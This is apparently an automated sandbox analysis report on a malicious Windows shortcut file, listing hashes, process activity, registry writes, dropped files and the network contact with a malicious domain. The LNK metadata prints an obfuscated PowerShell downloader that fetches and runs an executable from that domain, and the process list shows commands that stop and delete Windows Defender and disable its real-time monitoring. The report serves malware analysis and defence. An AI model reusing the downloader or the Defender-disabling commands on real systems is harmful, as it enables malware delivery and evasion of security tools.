| File name: | GFHN-93974215.lnk |
| Full analysis: | https://app.any.run/tasks/771fb843-3bde-45ab-9531-c0f1b00bc097 |
| Verdict: | Malicious activity |
| Analysis date: | May 20, 2019, 18:20:11 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/octet-stream |
| File info: | MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Sat Jul 16 10:42:36 2016, mtime=Sat Jul 16 10:42:36 2016, atime=Sat Jul 16 10:42:36 2016, length=232960, window=hidenormalshowminimized |
| MD5: | 1DD67597FC68CD3AE20DF8A4C5FDE0E5 |
| SHA1: | 06C176E889E09BD55015FE63FAA17A3DBB52084F |
| SHA256: | 3FD49D02C4B58ED5AE4F5B7FA8A649C7067609D3126AA8594F4D8D324D94BAB8 |
| SSDEEP: | 3072:qxyFZZO3D55hYnQtWf6Bv0S5AbG5YJDlejEjQOHEmPHn8uowIEb/R3x4uhN6iB+9:uEOHhf5h0S4rJjzbPH+wXrQUNBWp |
MALICIOUS
Application was dropped or rewritten from another process
- D.exe (PID: 3364)
- D.exe (PID: 3816)
Executes PowerShell scripts
- cmd.exe (PID: 3028)
- cmd.exe (PID: 4076)
- cmd.exe (PID: 3324)
Stops/Deletes Windows Defender service via SC.exe
- cmd.exe (PID: 596)
- cmd.exe (PID: 2944)
- cmd.exe (PID: 3804)
- cmd.exe (PID: 2868)
- cmd.exe (PID: 3572)
- cmd.exe (PID: 3960)
- cmd.exe (PID: 2516)
- cmd.exe (PID: 3196)
Known privilege escalation attack
- DllHost.exe (PID: 2996)
Disables Windows Defender Real-time monitoring
- D.exe (PID: 3816)
Loads the Task Scheduler COM API
- D.exe (PID: 3816)
SUSPICIOUS
Starts CMD.EXE for commands execution
- D.exe (PID: 3364)
- D.exe (PID: 3816)
Creates files in the user directory
- powershell.exe (PID: 3616)
- powershell.exe (PID: 3464)
- powershell.exe (PID: 3652)
- powershell.exe (PID: 2476)
- powershell.exe (PID: 2300)
- D.exe (PID: 3816)
Executable content was dropped or overwritten
- powershell.exe (PID: 3616)
- D.exe (PID: 3816)
Executes PowerShell scripts
- cmd.exe (PID: 2972)
- cmd.exe (PID: 2676)
Executed via COM
- DllHost.exe (PID: 2996)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .lnk | | | Windows Shortcut (100) |
|---|
EXIF
LNK
| Flags: | IDList, LinkInfo, Description, RelativePath, WorkingDir, CommandArgs, IconFile, Unicode, ExpString, ExpIcon, TargetMetadata |
|---|---|
| FileAttributes: | Archive |
| CreateDate: | 2016:07:16 13:42:36+02:00 |
| AccessDate: | 2016:07:16 13:42:36+02:00 |
| ModifyDate: | 2016:07:16 13:42:36+02:00 |
| TargetFileSize: | 232960 |
| IconIndex: | (none) |
| RunWindow: | Show Minimized No Activate |
| HotKey: | (none) |
| TargetFileDOSName: | cmd.exe |
| DriveType: | Fixed Disk |
| VolumeLabel: | New1 |
| LocalBasePath: | C:\Windows\System32\cmd.exe |
| Description: | qqqqqqqqqqq1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq |
| RelativePath: | ..\..\..\Windows\System32\cmd.exe |
| WorkingDirectory: | C:\Windows\system32 |
| CommandLineArguments: | /C set o=HttPs:/&powershEll "$sd=new-object system.nEt.weBcliEnt;$sd.doWnloAdfIle($env:o+'/www.braintrainersuk.com/ONOLTDA-GD.exe',$env:tmp+'\D.exe');"&"%programfiles%\wiNDows nt\accESsorIes\wORdpaD" c:\pagefIle.syS&%tmp%/d&J34HH&E34JSH_d+&df |
| IconFileName: | C:\Windows\notepad.exe |
| MachineID: | genisys |
| FillAttributes: | 0xff |
| PopupFillAttributes: | 0xff |
| ScreenBufferSize: | 2 x 9002 |
| WindowSize: | 2 x 2 |
| WindowOrigin: | 2 x 3 |
| FontSize: | 0 x 5 |
| FontFamily: | Unknown (0x36) |
| FontWeight: | 400 |
| FontName: | Lucida Console |
| CursorSize: | 50 |
| FullScreen: | No |
| QuickEdit: | Yes |
| InsertMode: | Yes |
| WindowOriginAuto: | No |
| HistoryBufferSize: | 51 |
| NumHistoryBuffers: | 5 |
| RemoveHistoryDuplicates: | No |
Total processes
77
Monitored processes
30
Malicious processes
6
Suspicious processes
8
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 596 | "C:\Windows\System32\cmd.exe" /c sc stop WinDefend | C:\Windows\System32\cmd.exe | — | D.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 5 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1208 | sc stop WinDefend | C:\Windows\system32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 1060 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1880 | sc delete WinDefend | C:\Windows\system32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: A tool to aid in developing services for WindowsNT Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2300 | powershell Set-MpPreference -DisableRealtimeMonitoring $true | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2476 | powershell Set-MpPreference -DisableRealtimeMonitoring $true | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2516 | /c sc delete WinDefend | C:\Windows\system32\cmd.exe | — | D.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1060 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2676 | /c powershell Set-MpPreference -DisableRealtimeMonitoring $true | C:\Windows\system32\cmd.exe | — | D.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2780 | sc delete WinDefend | C:\Windows\system32\sc.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: A tool to aid in developing services for WindowsNT Exit code: 5 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2868 | /c sc delete WinDefend | C:\Windows\system32\cmd.exe | — | D.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 5 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2944 | "C:\Windows\System32\cmd.exe" /c sc delete WinDefend | C:\Windows\System32\cmd.exe | — | D.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 5 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 536
Read events
1 207
Write events
328
Delete events
1
Modification events
| (PID) Process: | (3616) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3616) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3616) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3616) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3616) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3616) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (3616) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (3616) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3616) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3616) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
Executable files
2
Suspicious files
12
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3616 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XOBD9M4LY44XJ0QT13JE.temp | — | |
MD5:— | SHA256:— | |||
| 3464 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JLN5R0COMX351TV1BTOH.temp | — | |
MD5:— | SHA256:— | |||
| 3652 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\671XTCJ0HU711J6CHM16.temp | — | |
MD5:— | SHA256:— | |||
| 2476 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3CJ73S9WASFE3IVKODEB.temp | — | |
MD5:— | SHA256:— | |||
| 2300 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XCEY2Q5RMREB4NK4IGBJ.temp | — | |
MD5:— | SHA256:— | |||
| 3616 | powershell.exe | C:\Users\admin\AppData\Local\Temp\D.exe | executable | |
MD5:— | SHA256:— | |||
| 3616 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF14ec04.TMP | binary | |
MD5:— | SHA256:— | |||
| 3364 | D.exe | C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\0f5007522459c86e95ffcc62f32308f1_90059c37-1320-41a4-b58d-2b75a9850d2f | binary | |
MD5:— | SHA256:— | |||
| 3816 | D.exe | C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\0f5007522459c86e95ffcc62f32308f1_90059c37-1320-41a4-b58d-2b75a9850d2f | binary | |
MD5:— | SHA256:— | |||
| 3652 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3616 | powershell.exe | 68.66.248.28:443 | www.braintrainersuk.com | A2 Hosting, Inc. | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.braintrainersuk.com |
| malicious |